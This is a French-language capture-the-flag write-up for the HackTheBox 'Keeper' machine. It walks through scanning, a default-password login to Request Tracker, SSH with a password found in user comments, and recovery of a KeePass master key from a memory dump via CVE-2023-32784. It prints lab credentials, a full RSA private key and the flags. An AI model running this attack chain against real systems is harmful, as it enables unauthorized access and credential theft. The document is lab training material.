HackTheBox Walkthrough - Keeper

  • Machine ciblée : Keeper.

  • Répertoire : /home/kali/Keeper

  • Temps passé dessus :

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

  • Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.

  • Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Keeper"
repository="/home/kali/machines/$name"
ip="10.10.11.227"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

Ok, comme d’hab, du web et du ssh. On a aussi 3 services filtrés, surement un bug. On va commencer par le web !

Phase 2 : Analyse

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ curl http://$name
<html>
  <body>
    <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
  </body>
</html>

Bon, on commence par modifier notre fichier hosts hein … Et on va en profiter pour envoyer notre énumération web classique donc wfuzz + gobuster au cas où.

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name.$domain
┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host:FUZZ.$name.$doamin" --hl 5 http://$name.$domain

Pendant ce temps, on va regarder à quoi ressemble la page. On arrive sur une page de login classique d’un Request Tracker, un outil proposé par Best Practical. Petite recherches web sur les CVE, pas grand chose. Et côté mot de passe par défaut ?

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ curl -c ./cookies http://tickets.$name.$domain/rt  
#On récupère le cookie de session
┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ curl -Lv -c ./cookies http://tickets.$name.$domain/rt/NoAuth/Login.html  -d "user=root&pass=password&next=aa"
*   Trying 10.10.11.227:80...
* Connected to tickets.Keeper.htb (10.10.11.227) port 80 (#0)
> POST /rt/NoAuth/Login.html HTTP/1.1
> Host: tickets.Keeper.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Length: 61
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 302 Found
< Server: nginx/1.18.0 (Ubuntu)
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
* Added cookie RT_SID_tickets.keeper.htb.80="52632a29c43abc0395bb67ea817f9454" for domain tickets.Keeper.htb, path /rt, expire 0
< Set-Cookie: RT_SID_tickets.keeper.htb.80=52632a29c43abc0395bb67ea817f9454; path=/rt; HttpOnly
< Date: Wed, 22 Nov 2023 13:55:09 GMT
* Please rewind output before next send
< Location: http://tickets.keeper.htb/rt/
< X-Frame-Options: DENY
< 
* Ignoring the response-body
* Connection #0 to host tickets.Keeper.htb left intact
* Issue another request to this URL: 'http://tickets.keeper.htb/rt/'
* Switch from POST to GET
* Found bundle for host: 0x55c479e1d2a0 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection #0 with host tickets.keeper.htb
> GET /rt/ HTTP/1.1
> Host: tickets.keeper.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: RT_SID_tickets.keeper.htb.80=52632a29c43abc0395bb67ea817f9454
> 
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
* Replaced cookie RT_SID_tickets.keeper.htb.80="52632a29c43abc0395bb67ea817f9454" for domain tickets.keeper.htb, path /rt, expire 0
< Set-Cookie: RT_SID_tickets.keeper.htb.80=52632a29c43abc0395bb67ea817f9454; path=/rt; HttpOnly
< Date: Wed, 22 Nov 2023 13:55:10 GMT
< Cache-control: no-cache
< Pragma: no-cache
< X-Frame-Options: DENY
<

<html lang="en-gb">
  <head>
    <title>RT at a glance</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!-- The X-UA-Compatible <meta> tag above must be very early in <head> -->


<script>
window.RT = {};
RT.CurrentUser = {"EmailAddress":"root@localhost","Name":"root","Privileged":true,"id":14,"RealName":"Enoch Root"};
RT.Config      = {"MessageBoxRichText":1,"rtname":"tickets.keeper.htb","MessageBoxUseSystemContextMenu":0,"MaxAttachmentSize":10485760,"MessageBoxRichTextHeight":200,"WebPath":"\/rt","WebHomePath":"\/rt"};

On y est. N.B : Evidemment, je l’ai fait avec burp puis j’ai envoyé les trucs dans curl pour le write-up.

Phase 3 : User

On a un premier accès, on va essayer d’avoir un peu plus d’informations. Quand on se balade dans l’interface d’admin, on trouve des informations variées. C’est par exemple le cas des informations de la configuration système qui nous oriente vers la plateforme (une Ubuntu avec du Perl dessus et une database PostGres semble-t-il) ou encore sur la liste des utilisateurs. En regardant de plus près lnorgaard, on voit différentes choses : elle est help desk et a un mot de passe qui vient d’être initialisé dans les commentaires.
Les informations de lnorgaard
Et si on essayait ça en ssh ?

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ ssh lnorgaard@$name 
The authenticity of host 'keeper (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'keeper' (ED25519) to the list of known hosts.
lnorgaard@keeper's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.
Last login: Wed Nov 22 15:05:13 2023 from 10.10.16.32
lnorgaard@keeper:~$ cat ./user.txt 
d9e564be3cfbb593a8d38e4c3cf9f2d5

Aller, une de faite ! On passes à la suite ?

Phase 4 : Élévation de privilège

Maintenant que l’on est dedans, comment est-ce que l’on va pouvoir s’élever ?

lnorgaard@keeper:~$ ls ./
passcodes.kdbx  RT30000.zip  user.txt

Je vois là déjà deux trucs de super intéressants ! on a un keepass, et un fichier zip. Si les deux sont chiffrés, va falloir bruteforce !

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ for i in passcodes.kdbx RT30000.zip ;do scp lnorgaard@$name:/home/lnorgaard/${i} ./ ; done
lnorgaard@keeper s password:
## On unzip le fichier RT30000.zip, ça nous rajoute le KeepassDumpFull.dmp
┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ ls
cookies  full  fullsploitable  KeePassDumpFull.dmp  passcodes.kdbx  RT30000.zip  sploitable  txt  udp  udploitable

Ok donc on a un dump d’un keepass. On peut imaginier qu’il s’agisse du fichier passcodes qui est à côté. En cherchant sur internet, on tombe sur la CVE-2023-32784. Il s’agit d’un moyen depuis un dump mémoire de récupérer la masterkee du keepass. Et pour ça, un projet Github existe ! On va donc chercher à l’utiliser.

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ git clone https://github.com/vdohney/keepass-password-dumper && cd keepass-password-dumper 
┌──(kali㉿LuKaLi)-[~/machines/Keeper/keepass-password-dumper]
└─$ dotnet run ../KeePassDumpFull.dmp 

Bienvenue dans .NET 6.0 !
---------------------
Version du kit SDK : 6.0.400

----------------
Un certificat de développement HTTPS ASP.NET Core a été installé.
Pour approuver le certificat, exécutez 'dotnet dev-certs https --trust' (Windows et macOS uniquement).
Découvrez HTTPS : https://aka.ms/dotnet-https
----------------
Écrivez votre première application : https://aka.ms/dotnet-hello-world
Découvrez les nouveautés : https://aka.ms/dotnet-whats-new
Consultez la documentation : https://aka.ms/dotnet-docs
Signalez des problèmes et recherchez du code source sur GitHub : https://github.com/dotnet/core
Utilisez 'dotnet --help' pour voir les commandes disponibles, ou accédez à https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
/usr/share/dotnet/sdk/6.0.400/Sdks/Microsoft.NET.Sdk/targets/Microsoft.NET.TargetFrameworkInference.targets(144,5): error NETSDK1045: Le kit .NET SDK actuel ne prend pas en charge le ciblage de .NET 7.0. Vous devez soit cibler .NET 6.0 ou une version antérieure, soit utiliser une version du kit .NET SDK qui prend en charge .NET 7.0. [/home/kali/machines/Keeper/keepass-password-dumper/keepass_password_dumper.csproj]

La build a échoué. Corrigez les erreurs de la build et réexécutez-la.

Ok, on va devoir commencer par mettre à jour .net. Let’s go.

┌──(kali㉿LuKaLi)-[~/machines/Keeper/keepass-password-dumper]
└─$ wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb  #On fait jamais ça en vrai hein ... 
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
┌──(kali㉿LuKaLi)-[~/machines/Keeper/keepass-password-dumper]
└─$ sudo apt-get update
┌──(kali㉿LuKaLi)-[~/machines/Keeper/keepass-password-dumper]
└─$ sudo apt-get install -y dotnet-sdk-7.0
┌──(kali㉿LuKaLi)-[~/machines/Keeper/keepass-password-dumper]
└─$ dotnet run ../KeePassDumpFull.dmp 
┌──(kali㉿LuKaLi)-[~/machines/Keeper/keepass-password-dumper]
└─$ dotnet run ../KeePassDumpFull.dmp     
Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     2.:     ø, Ï, 
3.:     d, 
4.:     g, 
5.:     r, 
6.:     ø, 
7.:     d, 
8.:      , 
9.:     m, 
10.:    e, 
11.:    d, 
12.:     , 
13.:    f, 
14.:    l, 
15.:    ø, 
16.:    d, 
17.:    e, 
Combined: {ø, Ï}dgrød med fløde

Trop cool hein ? Et ça, on l’aurait pas eu sur un rock you?. Bon, reste à trouver le ou les deux premiers charactères maintenant. Google Translate ?. Oui, c’est pas mal ! Ce dernier nous « corrige » et nous précise que l’on doit dire « rødgrød med fløde », ce qui signifie « Bouillie rouge à la crème ». La phrase que vous emploierez tous au Danemark pas vrai ? Bref, on essaie d’ouvrir le keepass… Et ça plante.
En faite, Linux n’accepte pas les charactères spéciaux chelous sur Keepass. C’est tout pourri, mais il faut l’ouvrir avec un Windows … Et si t’as pas de Windows, tu vas chercher la réponse sur Internet. J’avoue que je suis triste. D’ici là, on trouve plusieurs infos :

  • Le compte lnorgaard a comme mot de passe Welcome2023! (On le savait déjà),

  • Le compte root a comme mot de passe F4><3K0nd!.

  • En description du compte root, on trouve une private key rsa (ils auraient pu le faire en ED25569, elle est longue …). Je pense que c’est parce que par défaut, on peut pas se connecter en root sur le serveur, et qu’il faut passer par un su ou alors par le ssh avec clé privée. Si l’on est attentif, le format de la clé est prévue pour PuTTY ! C’est bien chiant là, j’aurai du préparer une COMMANDO VM. Je montrerai pas comment j’ai fait pour la passer sur une clé « classique », parce que j’ai la flemme de screen, mais il faut des Tools de Putty. J’ai rajouté une ligne là dessus dans le ficher sur les clés ssh.

┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ echo '-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----
'>  ./root.key
┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ chmod 600 ./root.key
┌──(kali㉿LuKaLi)-[~/machines/Keeper]
└─$ ssh -i ./root.key root@$ip
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

root@keeper:~# cat ./root.txt 
349346888d1e09aed4c9352cd7fac125

Tada ! Fin de la machine, en un peu moins d’une heure avec le write-up.
Si vous êtes curieux : le mot de passe ne marche pas. J’ai même pas essayer avant d’envoyer la clé ssh parce que quand j’ai voulu ouvrir ma VM windows pour faire ouvrir le keepass, ça a fait planté ma kali … Donc il fallait que je me reconnecte à la machine, alors autant le faire en root directement.

Récapitulatif

Bon, les mises à jours des packages trop vieux, c’est pas ouf. J’ai du télécharger .net-7.0 et .net-8.0 ; je pense que seul le 7 était nécessaire. Par contre, l’exploitation de la vulnérabilité + le fait que ça soit dans une autre langue et donc que le premier charactère ne soit pas « trivial », c’est plutôt sympa je trouve. Dans la vrai vie, ça me parait quand même compliqué à exploiter. Pour quel raison chelou on a réussis à obtenir le dump ? No Idea. Mais bon, je voulais tester cette CVE depuis un moment, et comme ça c’est fait. Je regrette un peu que keepass plante avec Kali sur cette phase. Ça perd du charmes de l’attaque, pareil pour la clé mise au format putty, mais ça force à tester un nouvel outil, ou à travailler sur du Windows.

Il s’agit sans doute d’une des vrais machine « EASY » de HackTheBox, je vais tenter de la faire faire au travail Lundi matin. P.S : Je l’ai bien fait en live. Elle était un peu compliquée pour certains, il faut qu’on arrive à mettre un niveau « de base » pour qu’ils aient tous la logique minimal …

A retenir

  • Parfois, il vaut mieux chercher sur internet que de bêtement lancer ses outils : ici les scans étaient inutiles.

  • La sécurité, c’est également celles des mots de passes … On met pas plusieurs fois le même mot de passe, et on ne met pas le mot de passe en descriptions.